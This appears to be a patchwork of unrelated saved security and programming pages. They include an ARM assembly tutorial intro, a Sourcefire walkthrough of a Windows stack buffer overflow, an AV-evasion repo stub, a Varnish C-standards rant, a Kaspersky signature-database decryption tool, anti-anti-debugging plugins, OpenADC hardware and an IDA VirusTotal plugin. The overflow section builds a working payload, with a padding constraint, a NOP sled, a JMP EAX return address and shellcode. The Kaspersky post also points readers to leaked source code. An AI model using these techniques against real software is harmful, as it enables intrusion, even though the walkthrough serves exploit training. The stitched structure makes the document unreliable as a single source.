lab environment in a Virtual Machine using QEMU and the Raspberry Pi distro by
following this tutorial. If you are not familiar with basic debugging with
GDB, you can get the basics in this tutorial. In this tutorial, the focus will
be on ARM 32-bit, and the examples are compiled on an ARMv6.

### Why ARM?

This tutorial is generally for people who want to learn the basics of ARM
assembly. Especially for those of you who are interested in exploit writing on
the ARM platform. You might have already noticed that ARM processors are
everywhere around you. When I look around me, I can count far more devices
that feature an ARM processor in my house than Intel processors. This includes
phones, routers, and not to forget the IoT devices that seem to explode in
sales these days. That said, the ARM processor has become one of the most
widespread CPU cores in the world. Which brings us to the fact that like PCs,
IoT devices are susceptible to improper input validation abuse such as buffer
overflows. Given the widespread usage of ARM based devices and the potential
for misuse, attacks on these devices have become much more common.

Yet, we have more experts specialized in x86 security research than we have
for ARM, although ARM assembly language is perhaps the easiest assembly
language in widespread use. So, why aren’t more people focusing on ARM?
Perhaps because there are more learning resources out there covering
exploitation on Intel than there are for ARM. Just think about the great
tutorials on Intel x86 Exploit writing by Fuzzy Security or the Corelan Team –
Guidelines like these help people interested in this specific area to get
practical knowledge and the inspiration to learn beyond what is covered in
those tutorials. If you are interested in x86 exploit writing, the Corelan and
Fuzzysec tutorials are your perfect starting point. In this tutorial series
here, we will focus on assembly basics and exploit writing on ARM.

ARM processor vs. Intel processor

There are many differences between Intel and ARM, but the main difference is
the instruction set. Intel is a CISC \(Complex Instruction Set Computing\)
processor that has a larger and more feature-rich instruction set and allows
many complex instructions to access memory. It therefore has more operations,
addressing modes, but less registers than ARM. CISC processors are mainly used
in normal PC’s, Workstations, and servers.

ARM is a RISC \(Reduced instruction set Computing\) processor and therefore
has a simplified instruction set \(100 instructions or less\) and more general
purpose registers than CISC. Unlike Intel, ARM uses instructions that operate
only on registers and uses a Load/Store memory model for memory access, which
means that only Load/Store instructions can access memory. This means that
incrementing a 32-bit value at a particular memory address on ARM would
require three types of instructions \(load, increment and store\) to first
load the value at a particular address into a register, increment it within
the register, and store it back to the memory from the register.

The reduced instruction set has its advantages and disadvantages. One of the
advantages is that instructions can be executed more quickly, potentially
allowing for greater speed \(RISC systems shorten execution time by reducing
the clock cycles per instruction\). The downside is that less instructions
means a greater emphasis on the efficient writing of software with the limited
instructions that are available. Also important to note is that ARM has two
modes, ARM mode and Thumb mode. Thumb instructions can be either 2 or 4 bytes
\(more on that in Part 3: ARM Instruction set\).

More differences between ARM and x86 are:

  * In ARM, most instructions can be used for conditional execution.
  * The Intel x86 and x86-64 series of processors use the **little-endian** format
  * The ARM architecture was little-endian before version 3. Since then ARM processors became **BI-endian** and feature a setting which allows for _switchable_ endianness.

There are not only differences between Intel and ARM, but also between
different ARM version themselves. This tutorial series is intended to keep it
as generic as possible so that you get a general understanding about how ARM
works. Once you understand the fundamentals, it’s easy to learn the nuances
for your chosen target ARM version. The examples in this tutorial were created
on an 32-bit ARMv6 \(Raspberry Pi 1\), therefore the explanations are related
to this exact version.

The naming of the different ARM versions might also be confusing:

ARM family | ARM architecture  
---|---  
ARM7 | ARM v4  
ARM9 | ARM v5  
ARM11 | ARM v6  
Cortex-A | ARM v7-A  
Cortex-R | ARM v7-R  
Cortex-M | ARM v7-M  
Writing Assembly

Before we can start diving into ARM exploit development we first need to
understand the basics of Assembly language programming, which requires a
little background knowledge before you can start to appreciate it. But why do
we even need ARM Assembly, isn’t it enough to write our exploits in a “normal”
programming / scripting language? It is not, if we want to be able to do
Reverse Engineering and understand the program flow of ARM binaries, build our
own ARM shellcode, craft ARM ROP chains, and debug ARM applications.

You don’t need to know every little detail of the Assembly language to be able
to do Reverse Engineering and exploit development, yet some of it is required
for understanding the bigger picture. The fundamentals will be covered in this
tutorial series. If you want to learn more you can visit the links listed at
the end of this chapter.

So what exactly is Assembly language? Assembly language is just a thin syntax
layer on top of the machine code which is composed of instructions, that are
encoded in binary representations \(machine code\), which is what our computer
understands. So why don’t we just write machine code instead? Well, that would
be a pain in the ass. For this reason, we will write assembly, ARM assembly,
which is much easier for humans to understand. Our computer can’t run assembly
code itself, because it needs machine code. The tool we will use to assemble
the assembly code into machine code is a GNU Assembler from the GNU Binutils
project named ** _as_** which works with source files having the \*.s
extension.

Once you wrote your assembly file with the extension \*.s, you need to
assemble it with as and link it with ld:

[code]

    $ as program.s -o program.o
    $ ld program.o -o program
[/code]

<img src='img/gif-assembly-to-machine-code.gif' width='707' height='250' />

Assembly under the hood

Let’s start at the very bottom and work our way up to the assembly language.
At the lowest level, we have our electrical signals on our circuit. Signals
are formed by switching the electrical voltage to one of two levels, say 0
volts \(‘off’\) or 5 volts \(‘on’\). Because just by looking we can’t easily
tell what voltage the circuit is at, we choose to write patterns of on/off
voltages using visual representations, the digits 0 and 1, to not only
represent the idea of an absence or presence of a signal, but also because 0
and 1 are digits of the binary system. We then group the sequence of 0 and 1
to form a machine code instruction which is the smallest working unit of a
computer processor. Here is an example of a machine language instruction:

1110 0001 1010 0000 0010 0000 0000 0001

So far so good, but we can’t remember what each of these patterns \(of 0 and
1\) mean. For this reason, we use so called mnemonics, abbreviations to help
us remember these binary patterns, where each machine code instruction is
given a name. These mnemonics often consist of three letters, but this is not
obligatory. We can write a program using these mnemonics as instructions. This
program is called an Assembly language program, and the set of mnemonics that
is used to represent a computer’s machine code is called the Assembly language
of that computer. Therefore, Assembly language is the lowest level used by
humans to program a computer. The operands of an instruction come after the
mnemonic\(s\). Here is an example:

MOV R2, R1

Now that we know that an assembly program is made up of textual information
called mnemonics, we need to get it converted into machine code. As mentioned
above, in the case of ARM assembly, the GNU Binutils project supplies us with
a tool called **as**. The process of using an assembler like **as** to convert
from \(ARM\) assembly language to \(ARM\) machine code is called assembling.

In summary, we learned that computers understand \(respond to\) the presence
or absence of voltages \(signals\) and that we can represent multiple signals
in a sequence of 0s and 1s \(bits\). We can use machine code \(sequences of
signals\) to cause the computer to respond in some well-defined way. Because
we can’t remember what all these sequences mean, we give them abbreviations –
mnemonics, and use them to represent instructions. This set of mnemonics is
the Assembly language of the computer and we use a program called Assembler to
convert code from mnemonic representation to the computer-readable machine
code, in the same way a compiler does for high-level languages.

  

# Sourcefire VRT Labs

**Created:**| _2/25/2011 9:37:57 AM_  
---|---  
**Updated:**| _2/25/2011 9:38:16 AM_  
**Author:**| __  
**Tags:**| _bookmark Exploit Examples reversing Tutorials windows environment
windbg awesome_  
  

Advanced Windows Buffer Overflows

## Primer

Skip it, I've read this already, just get me to the exercises.

Over here at the VRT, we've thoroughly enjoyed sinking our teeth into the awbo
exercises. Hopefully, readers who've had the chance to work through these are
eagerly anticipating those to come.

On the other hand, there may still be some of you who are interested in giving
these a shot, but either haven't ever worked with exploitation before or
aren't sure how to set up their environment. For those who need a little extra
nudge to get started, I've prepared a simple walkthrough outlining my personal
preferred way of approaching these exercises.

If you've already completed any of the awbos, this guide will likely ring a
tad redundant. If you haven't, but have a fairly good understanding of how the
stack works, then read on. Given that spoiling any of the exercises would
defeat the purpose of publishing them, I've written a short short, exploitable
C program we'll be using as an example. The anatomy of the stack is a topic
reserved for a later post.

Things you'll need:

  1. A disassembler
  2. A method of delivery
  3. A debugger
  4. Shellcode

**Recommended tools:** IDA, Cygwin with perl, windbg  
**Not-so-recommended tools:** Divination, Magic 8-ball, Wild Guessing, Dr.
Watson

The shellcode for this exercise is here

The example program is here

### Disassembly goals:

a\) Figure out how the program works.

To start out, it's a good idea to go through the disassembly and familiarize
yourself with the logic of the program. Some noteworthy things in particular
are:

  * Size of stack space created
  * Offsets and functions of stack variables
  * Calls to subroutines
  * Types of input \(streams, arguments\)
  * Branching of execution/jmp statements

Now, whip out your favorite disassembler and take a look at the executable's
disassembly. I use IDA, but feel free to use anything that'll get the job
done.

When reading assembly, especially if you're more accustomed to high-level
languages like C, you'll want to avoid trying to absorb the code instruction-
by-instruction. Look at blocks of instructions to figure out how they work
together to do something useful.

In the example program:

[code]

      push    ebp
      mov     ebp, esp
      sub     esp, 100h
    
    
[/code]

Blocks like this are typical. When a function is called \(in this case, our
main\), the address of the next instruction after call is saved on the stack.
This is called the "return address"; once the function terminates, this
address lets the processor know where to resume execution.

Once the return address is pushed, the old ebp is also pushed onto the stack
and our old ESP becomes the new EBP. Once that's done, space is reserved on
the stack for local variables. In this case, the size of the stack space
created is 100 hex \(256 bytes\).

Furthermore, IDA shows us the offsets of important variables/locations in that
reserved space that will be used later by the program. This is displayed above
the start of main.

[code]

      Buffer= byte ptr -100h
      var_FD= byte ptr -0FDh
    
    
[/code]

These are also good to take note of for when they're referenced later.

b\) What kind of vulnerability are we looking at? How and where is the program
exploitable?

The next thing to look for are areas where the program could potentially be
vulnerable. For stack-based buffer overflows, this will take the form of user
input that is copied into the stack without validating whether there is enough
space reserved for it. String functions like strcpy\(\), for instance, don't
inherently provide for any sort of bounds checking beyond null-character
termination and are typically exploitable.

Our first function call is a call to `gets()`:

[code]

      lea     eax, [ebp+Buffer]
      push    eax             ; Buffer
      call    _gets
    
    
[/code]

As we can see, EAX is loaded with the address of buffer and then supplied as
an argument to the gets\(\) call. Since user input will be copied into buffer
\(on the stack\) from stdin with no bounds checking, this looks like a good
candidate for a stack-based buffer overflow vulnerability.

From earlier, we know that Buffer is located at a 100 hex offset from EBP, or
EBP-100. Our saved return address is located at EBP+4, starting 268 bytes
higher than Buffer. In order to cleanly overwrite it with our own data, we'll
need to supply Buffer with 260 + 4 bytes = 272.

c\) What obstacles and constraints on input are we faced with?

Successful exploitation hinges on hijacking EIP, but even if you've
overwritten the return address on the stack, execution will not be yours until
you hit your RET instruction. Though a seemingly trivial point, it bears
mentioning that this means you'll need to make sure execution doesn't
terminate or branch off before you gain control. Input will need to be crafted
such that the necessary execution conditions are satisfied.

[code]

      movsx   ecx, [ebp+var_FD]
      cmp     ecx, 78h
      jz      short loc_40102E
    
      push    1               ; Code
      call    _exit
    
    
[/code]

The first block compares the byte at EBP-FD\(-253 decimal\) with the hex value
78 \(ASCII 'x'\). If they match, execution then jumps over the second block
entirely, which is an exit call. Allowing the program to call exit\(\) will
prematurely terminate the program, which is very bad for us; execution will
never arrive at the RET instruction we're relying on to pop our overwritten
return address off the stack and into EIP.

Given this observation, it's safe to say that we need to make the byte at EBP-
FD to be lowercase 'x'. EBP-FD is also the fourth byte of our Buffer, which is
fed through standard input. In order for our exploitation to succeed, we'll
need to feed 'x' as the fourth character in our payload.

### Method of Delivery:

a\) Delivering your shellcode.

Shellcode is delivered in the form of hex byte instructions written for the
target platform. This can be defined as a hex string in your scripting
language of choice, most often using the \xNN format. I suggest using Perl;
strings are easily created and appended to one another, and you can use perl's
print\(\) function in conjunction with the pipe operator "|" in cygwin to pump
your shellcode output to the exploitable program.

Cygwin is a linux-like shell environment for Windows. When setting up cygwin,
you also have the option of installing various packages. Make sure you get
perl and gcc.  
Cygwin home

[code]

      print ($filler.$shellcode.$ebp.$ret);
    
    
[/code]

Then from the command line:

[code]

      perl exploit.pl | ./example.exe
    
    
[/code]

or, you can run perl code from the command line with the -e switch:

[code]

      perl -e 'print "A" x 256 ."\x00\xff\x12\x00"' | ./example.exe
    
    
[/code]

Furthermore, while it's not necessary for this example, you can also pass the
output of a perl scripts as arguments from the command line, in which case
you'll need to enclose each statement within ticks \(\`\), located on the same
key as tilde \(~\):

[code]

      ./example `perl -e 'print "ARGUMENT1"'`
      ./example `perl exploit.pl`
    
    
[/code]

b\) Structure your payload to work with the constraints on input and satisfy
conditions of execution.

We know from our disassembly that the fourth character we supply to our
vulnerable program needs to be lowercase 'x' \(0x78\). After that, we have 256
bytes to fill before we overwrite the return address. What a fantastic place
to put your shellcode\! It will, however, need to be padded; the shellcode is
only 127 bytes.

The most commonly used padding tends to be what are called "NOP instructions".
NOP instructions are instructions that perform either no operation or one that
will not really interfere with the operation of our shellcode. The latter is,
of course, context-dependent. The most common are 0x90 \(NOP - does nothing\)
and 0x41 \(Both ASCII "A" AND inc ecx, depending on whether it's interpreted
as data or an instruction\). The fact that they're single-byte instructions
makes them ideal for plugging up holes. Not only that, but if you miss your
shellcode and EIP lands somewhere on your padding before your shellcode, the
processor will execute these NOP instructions one-by-one until it gets to the
beginning of your shellcode. This technique is called a "NOP sled".

### Debugging:

a\) Setting up windbg as your post-mortem debugger.

You can register windbg as your port-mortem debugger with the -I option. In
Win 2000, you'll want to select "run" from the start menu, browse for the
location of windbg \(usually debugging tools for Windows\), and then append -I
as an argument:

[code]

    "C:\Program Files\Debugging Tools for Windows (x86)\windbg.exe" -I
    
    
[/code]

Post-mortem means that when a program throws an exception \(for example,
crashes\), Windows will give the debugger a chance to deal with it before
passing it to an exception handler. So, say you overwrite the return address
on the stack with "AAAA"; this will cause an Access Violation when the
processor tries to resume execution at address 0x41414141, and your debugging
environment will fire up automatically.

To make things a little easier to debug, an INT 3 instruction has been added
near the beginning of the program. When you execute the program, it'll pop up
your debugger automatically, allowing you to step through your code from near
the beginning. For more information on how to set up your windbg environment,
as well as an explanation of useful commands, check out the windbg cheatsheet:  
Windbg cheatsheet

The commands you'll probably use most for this exercise are p and t\(step
over/step into respectively\), bp 0xNNNNNNNN \(set breakpoint at address
0xNNNNNNNN\), and g \(continue to next breakpoint\).

b\) Testing hypotheses by observation of stack behavior/registers.

You won't always succeed in popping a shell on the first try. Don't despair\!

First, focus on owning EIP. Keep an eye on the stack. Observe its behavior at
several different points of execution as well as its effect on the location of
your saved return address. Try first overwriting it with ASCII to see if you
manage to cause an access violation, then use a separate 4-byte string, once
that's distinguishable from other padding \(if your padding is A's, try
"BBBB"\), and place it at the point in your payload where you -think- you'll
be overwriting the return address. This will ensure that you're not
overshooting the return address completely.

If you're still not getting EIP and you swear you've provided enough
characters to cause an overflow, the problem may lie in the execution. Try
stepping through the program with the debugger to see if you ever reach your
RET instruction; maybe something was overlooked. For example, our program
calls exit\(\) unless 'x' is the 4th byte of our payload.

c\) Dealing with non-stack addresses.

One of the victory conditions for these awbo exercises is that you must
successfully exploit the program without explicitly referencing any stack
addresses. In other words, the return address should not be overwritten with
an address on the stack, but you may use any other address in memory.

Remember -- data is just data; it's how it's interpreted that's important, and
there are other ways to get to the stack. The stack address you need to jump
to might still be in one of your registers, or even on the stack itself. If
only there were some instruction in memory you could use to your advantage...
Hmm...

In our example program, if you set a breakpoint at the address of RET \(bp
0x00401038 for me\) and examine your registers, you'll notice something: the
address of the first byte of our buffer happens to be sitting in the EAX
register. A JMP EAX instruction would get us there painlessly. All we need to
do is find it in memory.

You can search for bytes, words, doublewords and ASCII in windbgwith the "s"
command. The syntax is listed in the windbg cheatsheet:

[code]

      s -[d|w|b|a] 0x00000000 L?0xffffffff searchval
                       - first option is size (dword, word, byte, ASCII string)
                       - second option is start address
                       - third option is end address
                       - last option is the value to search for
                           - ex dword: 0x41414141
                           - ex word 0x4241
                           - ex byte ff e3 (can be as many as you like!)
                           - ex ASCII: avacado!
    
    
[/code]

The instruction JMP EAX is FF E0 in hex. You can figure out the hex
representation of an instruction in windbg with the "a" command. Hit enter,
then type your instruction in assembly.

So let's do a search for the two-byte pattern ff and e0 with the "s" command.
When using the search command this way, you don't need to worry about
endianness:

[code]

      s -b 0x00000000 L?0xffffffff ff e0
    
    ...
    002b4058  ff e0 02 02 02 e1 02 02-03 e1 02 02 04 e1 02 02 ................
    7c573924  ff e0 5a 7c ff ff ff ff-00 00 00 00 04 e0 5a 7c  ..Z|..........Z|
    7c5c4c8c  ff e0 04 00 82 da 04 00-36 0e 04 00 84 a6 03 00  ........6.......
    ...
    
    
[/code]

Let's use the first address, 0x002b4058.

Remember, addresses need to be fed to the payload in reverse-byte order
because of the little-endianness of x86 architecture.

So now, your payload should look something like this:

[code]

    $filler = "A" x (252-length($shellcode));
    print ("AAAx".$filler.$shellcode."\x58\x40\x2b\x00");
    
    
[/code]

### To review:

"AAAx" satisfies our requirement that the 4th byte be "x".  
'$filler' is our padding.  
'$shellcode' is the code that will actually be executed.  
"\x58\x40\x2b\x00" is the address of our JMP EAX instruction, fed to the
program in reverse-byte order because of little-endianness.

Just pipe it to your program, run 'g' from the windbg command line and voila\!
Calculator\!

<img src='img/Temp2_7629.gif' width='10' height='10' alt='Delicious' />

  

# govolution/avepoc

**Created:**| _9/4/2017 9:46:37 AM_  
---|---  
**Updated:**| _9/4/2017 9:46:37 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

some pocs for antivirus evasion

  

# The Tools We Work With — Varnish version trunk documentation

**Created:**| _1/3/2012 4:28:12 PM_  
---|---  
**Updated:**| _1/3/2012 4:28:12 PM_  
**Author:**| __  
**Tags:**| _compiler-building C programming_  
  

# The Tools We Work With¶

"Only amateurs were limited by their tools" is an old wisdom, and the world is
littered with art and architecture that very much proves this point.

But as amazing as the Aquaeduct of Segovia is, tools are the reason why it
looks nowhere near as fantastic as the Sydney Opera House.

Concrete has been known since antiquity, but steel-reinforced concrete and
massive numerical calculations of stress-distribution, is the tools that makes
the difference between using concrete as a filler material between stones, and
as gravity-defying curved but perfectly safe load-bearing wall.

My tool for writing Varnish is the C-language which in many ways is unique
amongst all of the computer programming languages for having no ambitions.

The C language was invented as a portable assembler language, it doesn't do
objects and garbage-collection, it does numbers and pointers, just like your
CPU.

Compared to the high ambitions, then as now, of new programming languages,
that was almost ridiculous unambitious. Other people were trying to make their
programming languages provably correct, or safe for multiprogramming and quite
an effort went into using natural languages as programming languages.

But C was written to write programs, not to research computer science and
that's exactly what made it useful and popular.

Unfortunately C fell in bad company over the years, and the reason for this
outburst is that I just browsed the latest draft from the ISO-C
standardisation working-group 14.

I won't claim that it is enough to make grown men cry, but it certainly was
enough to make me angry.

Let me give you an example of their utter sillyness:

The book which defined the C langauge had a list af reserved identifiers, all
of them lower-case words. The UNIX libraries defined a lot of functions, all
of them lower-case words.

When compiled, the assembler saw all of these words prefixed with an
underscore, which made it easy to mix assembler and C code.

All the macros for the C-preprocessor on the other hand, were UPPERCASE,
making them easy to spot.

Which meant that if you mixed upper and lower case, in your identifiers, you
were safe: That wouldn't collide with anything.

First the ISO-C standards people got confused about the leading underscore,
and I'll leave you guessing as to what the current text actually means:

> All identifiers that begin with an underscore and either an uppercase letter
> or another underscore are always reserved for any use.
Feel free to guess, there's more such on pdf page 200 of the draft.

Next, they broke the upper/lower rule, by adding special keywords in mixed
case, probably because they thought it looked nicer:

[code]

    _Atomic, _Bool, _Noreturn &c
    
[/code]

Then, presumably, somebody pointed out that this looked ugly:

[code]

    void _Noreturn foo(int bar);
[/code]

So they have come up with a \#include file called <stdnoreturn.h> so that
instead you can write:

[code]

    #include <nostdreturn.h>
    void noreturn foo(int bar);
[/code]

The <nostdreturn.h> file according to the standard shall have exactly this
content:

[code]

    #define noreturn _Noreturn
    
[/code]

Are you crying or laughing yet ? You should be.

Another thing brought by the new draft is an entirely new thread API, which is
incompatible with the POSIX 'pthread' API which have been used for about 20
years now.

If they had improved on the shortcomings of the pthreads, I would have cheered
them on, because there are some very annoying mistakes in pthreads.

But they didn't, in fact, as far as I can tell, the C1X draft's threads are
worse than the 20 years older pthreads in all relevant aspects.

For instance, neither pthreads nor C1X-threads offer a "assert I'm holding
this mutex locked" facility. I will posit that you cannot successfully develop
real-world threaded programs and APIs without that, or without wasting a lot
of time debugging silly mistakes.

If you look in the Varnish source code, which uses pthreads, you will see that
I have wrapped pthread mutexes in my own little datastructure, to be able to
do those asserts, and to get some usable statistics on lock-contention.

Another example where C1X did not improve on pthreads at all, was in timed
sleeps, where you say "get me this lock, but give up if it takes longer than X
time".

The way both pthreads and C1X threads do this, is you specify a UTC wall clock
time you want to sleep until.

The only problem with that is that UTC wall clock time is not continuous when
implemented on a computer, and it may not even be monotonously increasing,
since NTPD or other timesync facilites may step the clock backwards,
particularly in the first minutes after boot.

If the practice of saying "get me this lock before 16:00Z" was widespread, I
could see the point, but I have actually never seen that in any source code.
What I have seen are wrappers that take the general shape of:

[code]

    int
    get_lock_timed(lock, timeout)
    {
            while (timeout > 0) {
                    t0 = time();
                    i = get_lock_before(lock, t + timeout));
                    if (i == WASLOCKED)
                            return (i);
                    t1 = time();
                    timeout -= (t1 - t0);
            }
            return (TIMEDOUT);
    }
[/code]

Because it's not like the call is actually guaranteed to return at 16:00Z if
you ask it to, you are only promised it will not return later than that, so
you have to wrap the call in a loop.

Whoever defined the select\(2\) and poll\(2\) systemcalls knew better than the
POSIX and ISO-C group-think: They specifed a maximum duration for the call,
because then it doesn't matter what time it is, only how long time has
transpired.

Ohh, and setting the stack-size for a new thread ? That is appearantly "too
dangerous" so there is no argument in the C1X API for doing so, a clear step
backwards from pthreads.

But guess what: Thread stacks are like T-shirts: There is no "one size fits
all."

I have no idea what the "danger" they perceived were, my best guess is that
feared it might make the API useful ?

This single idiocy will single-handedly doom the C1X thread API to
uselessness.

Now, don't get me wrong: There are lot of ways to improve the C language that
would make sense: Bitmaps, defined structure packing \(think: communication
protocol packets\), big/little endian variables \(data sharing\), sensible
handling of linked lists etc.

As ugly as it is, even the printf\(\)/scanf\(\) format strings could be
improved, by offering a sensible plugin mechanism, which the compiler can
understand and use to issue warnings.

Heck, even a simple basic object facility would be good addition, now that C++
have become this huge bloated monster language.

But none of that is appearantly as important as <stdnoreturn.h> and a new,
crippled and therefore useless thread API.

The neat thing about the C language, and the one feature that made it so
popular, is that not even an ISO-C working group can prevent you from
implementing all these things using macros and other tricks.

But it would be better to have them in the language, so the compiler could
issue sensible warnings and programmers won't have to write monsters like:

[code]

    #define VTAILQ_INSERT_BEFORE(listelm, elm, field) do {              \
        (elm)->field.vtqe_prev = (listelm)->field.vtqe_prev;            \
        VTAILQ_NEXT((elm), field) = (listelm);                          \
        *(listelm)->field.vtqe_prev = (elm);                            \
        (listelm)->field.vtqe_prev = &VTAILQ_NEXT((elm), field);        \
    } while (0)
[/code]

To put an element on a linked list.

I could go on like this, but it would rapidly become boring for both you and
me, because the current C1X draft is 701 pages, and it contains not a single
explanatory example if how to use any of the verbiage in practice.

Compare this with The C Programming Language, a book of 274 pages which in
addition to define the C language, taught people how to program through well-
thought-out examples.

From where I sit, ISO WG14 are destroying the C language I use and love.

Poul-Henning, 2011-12-20

# Kaspersky Anti-virus Databases decryption tool

**Created:**| _2/15/2011 8:03:36 AM_  
---|---  
**Updated:**| _2/15/2011 8:04:09 AM_  
**Author:**| __  
**Tags:**| _crypto signatures antivirus_  
  

## Kaspersky Anti-virus Databases decryption tool

### February 13, 2011

Hi guys:

I am vessial, kaspersky anti-virus fans, recently i write a AVP databases
decryption tool, download from here
http://www.mamushi.tk/tools/AVPBase\_parser.rar,you can decrypt the kaspersky
anti-virus Base easily.

you can find the signature of the many virus name and signature, i just do the
research for decrypt these \*.kdc file, haven’t parser the decrypted

virus signature records, so you need you reverse engineering the signature’s
structure if you want to research it more deeply, actually you can

get more helps from the leaks kaspersky AVP8 source code, because some header
files have some definition of the virus signature structure and

records.

enjoy it.

Thanks

vessial

# aadp - Project Hosting on Google Code

**Created:**| _11/14/2010 4:15:36 PM_  
---|---  
**Updated:**| _11/14/2010 11:39:08 PM_  
**Author:**| __  
**Tags:**| _Debugging crackme plugin windows environment_  
  
aadp _Anti-Anti-Debugger Plugins_ |   
---|---  
Project Home |  |  Downloads |  |  Wiki |  |  Issues |  |  Source |  |   
---|---|---|---|---|---|---|---|---|---|---  
Summary | Updates | People |   
---|---  
<img src='img/Temp2_10078.gif' width='15' height='15' /> Star this project  
---  
**Activity:** <img src='img/Temp2_10080.gif' /> Medium  
---  
**Code license:**  
GNU Lesser General Public License  
**Featured downloads:**  
<img src='img/Temp2_10079.gif' /> aadp4olly v0.1.7z  
Show all »  
---  
**Feeds:**  
Project feeds  
---  
**Owners:**  
nahuelriva, rcerage  
---  
People details »  
aadp is a collection of plugins that aims to hide most of the well knowns
debuggers from most of anti-debugging techniques.

### Latest Changes¶

### aadp4olly¶

**Version 0.1**

aadp4olly hide Ollydbg from the following tricks:

  * IsDebuggerPresent \(via PEB patching, BeingDebugged flag\)
  * NtGlobalFlags
  * HeapFlags
  * GetTickCount
  * ZwQueryInformationProcess
  * ZwSetInformationThread
  * \!OutputDebugStringA

# ProjectOpenADC | NewAE - Electronics, Programming, RF, and More\!
**Created:**| _7/5/2012 9:45:16 AM_  
---|---  
**Updated:**| _7/5/2012 9:45:16 AM_  
**Author:**| __  
**Tags:**| _fpga software defined radio_  
  

  *   * 

Location : NewAE - Electronics, Programming, RF, and More\! »

<img src='img/Temp2_6461.png' alt='Image' />  
  
The OpenADC platform is an open-hardware and open-software solution for your
digitizing needs. Designed to fit a variety of FPGA development boards, it can
significantly reduce the cost of experimenting with side-channel analysis,
software defined radio \(SDR\), and lots more\! See full details on the
OpenADC Project at Assembla<img src='img/Temp2_6459.png' width='15'
height='14' alt='(external link)' />.  
<img src='img/Temp2_6460.png' width='600' height='344' alt='Image' />  
<img src='img/Temp2_6463.png' alt='Image' />  
  
The design features:  

  1. High speed \(105 MSPS\) ADC, for reduced cost can mount lower-speed units of same footprint 
  2. LNA with computer-controlled gain, ranges from -10dB to 65dB \(at 65dB gain full-scale input = 800µV P-P\). Analog BW is ~100 MHz, although remains usable up to 200-300 MHz if signal is pure \(see docs for details\) 
  3. External clock input for synchronizing to specific clock source - idea for sampling based on externally locked clock 
  4. Adjustable phase shift on sampling point to shift when samples occur based on external clock 
  5. Optional transformer-coupled input for maximum analog bandwidth 
  6. Mounts to Avnet Spartan-6 LX9 Microboard, with minimal modifications \(e.g.: cutting pins + adding a wire\) can fit to almost any FPGA board with 30 or 40-pin dual-row header 
  7. Open source hardware + software 

  
<img src='img/Temp2_6462.png' width='872' height='396' alt='Image' />  
  
For full details + source head over to The OpenADC Project on Assembla<img
src='img/Temp2_6459.png' width='15' height='14' alt='(external link)' />  

# VirusTotal plugin for IDA Pro | Hex Blog
**Created:**| _2/11/2012 11:44:38 AM_  
---|---  
**Updated:**| _2/11/2012 11:44:46 AM_  
**Author:**| __  
**Tags:**| _iDA plugin antivirus_  
  

In this blog post, we are going to illustrate how to use some of the new UI
features introduced in IDA Pro 6.1 \(embedded choosers, custom icons, etc…\)
by writing a VirusTotal reporting and file submission plugin for IDA Pro. The
plugin will allow you to get reports from VirusTotal based on the input file
MD5 or a file of your choice. The plugin will offer to upload the file if the
file was not analyzed before.

<img src='img/Temp2_8916.gif' width='685' height='530' alt='vt_ui_dlg' />

## The VirusTotal public API

The VirusTotal API is web-service that uses “HTTP POST requests with JSON
object responses”. To work with it you need an API key \(get one by creating a
VT Community account\) and a programming language/library that can make HTTP
POST requests and is able to parse JSON strings. In this article, we are going
to borrow some code from _Bryce Boe_ ’s blog entry “Submitting Binaries to
VirusTotal” and modify it a bit. The resulting changes can be found in the
**BboeVt** module as part of this article’s files.

Our plugin is going to use the **get\_file\_report\(\)** to get a report given
a file’s MD5 and the **scan\_file\(\)** to submit a new file to VT.

## Writing the plugin

Let us first breakdown the plugin requirements into small and simple steps and
then at the end we can glue everything together.

Here are the components we need:

  1. A Python wrapper for the VT API: We will use the module mentioned above.
  2. A configuration utility: A simple utility class to save persistent information \(like the API key or the reporting options\)
  3. A chooser control: This control will store the VT report result in a nice ListView with two columns \(AV Vender/Malware name\). This control should function in embedded or standalone modes.
  4. A form control: It will allow us to take input information and display the results
  5. The plugin: A plugin class that will orchestrate all of the above components

### The configuration utility class

We need a simple class to store persistent data. The data store location will
be determined using the **idaapi.get\_user\_idadir\(\)**. It resolves to
“%APPDATA%\Hex-Rays\IDA Pro” on MS Windows and to “~/.idapro” on Linux or Mac
OS.

The persistent information we need to store are the _apikey_ and the plugin
dialog options. The other configuration fields are computed during runtime:

  * _md5sum_ : when IDA Pro loads a file, it stores the input file’s MD5 in the database. We can use the **idc.GetInputMD5\(\)** to retrieve the store MD5 value.
  * input file: by default we take the debugged input file path \(this value can be changed in the “Debug/Process options” menu\).

<img src='img/Temp2_8920.gif' width='525' height='488' alt='vt_func_cfg' />

### The chooser control

The chooser control will be a subclass of the **Choose2** class. This Python
class is a wrapper for the **choose2\(\)** IDA Pro SDK function. Embedded
choosers \(introduced in IDA Pro 6.1\) allow choosers not only to exist as
separate dockable windows but also to be embedded inside forms. Please see
Daniel’s post.

Before creating the chooser class, let us illustrate how to work with custom
icons:

<img src='img/Temp2_8918.gif' width='522' height='359'
alt='vt_func_custom_icon' />

As you can see, two function calls are involved:

  * **load\_custom\_icon\(\)** : The icon data can be a path to a file or a binary string. In the former you pass _filename_ =”path\_to\_img” parameter and in the latter you need to pass _data_ and _format_.  
The resulting icon id can be used with any API function that needs an icon id.

  * **free\_custom\_icon\(\):** When done using the icon, make sure you free it with this function.

This is the chooser class \(important aspects in the code are marked\):

<img src='img/Temp2_8919.gif' width='521' height='492' alt='vt_func_echooser'
/>

  * The Chooser2 class takes a new \(optional\) parameter named _embedded_. If set to true, then this chooser will embeddable and can be hosted by a form \(as we will see in the next section\).
  * The _icon_ parameter will contain an icon\_id that is created with a load\_custom\_icon\(\) call.
  * The _items_ parameter is a list of lists. Since we are working with two columns then it should have the following format: \[ \[“row1\_col1”, “row1\_col2”, “row2\_col1”, “row2\_col2”\], …. \]
  * The _OnSelectLine\(\)_ is a callback that is triggered whenever the user double-clicks on an item. We made our plugin open a web-browser and issue a search query

<img src='img/Temp2_8914.gif' width='688' height='255' alt='vt_ui_browser' />  
To create the chooser it is sufficient to create an instance \(and pass the
mandatory parameters\) then call the Show\(\) method.

### The form control

The form control is implemented by subclassing the new **Form** class found in
IDAPython >= 1.5.  
In essence, the **idaapi.Form** class wraps around **AskUsingForm\(\)** IDA
Pro SDK function.

If you’ve worked with **AskUsingForm\(\)** before then you will find it so
easy to work with the **Form** class.

The advantage of using **AskUsingForm\(\)** or IDAPython’s **Form** class,
instead of operating system UI functions, is that your UI will be portable and
will work across platforms and most importantly you don’t need any external
dependencies or 3rd party UI libraries installed on the system.

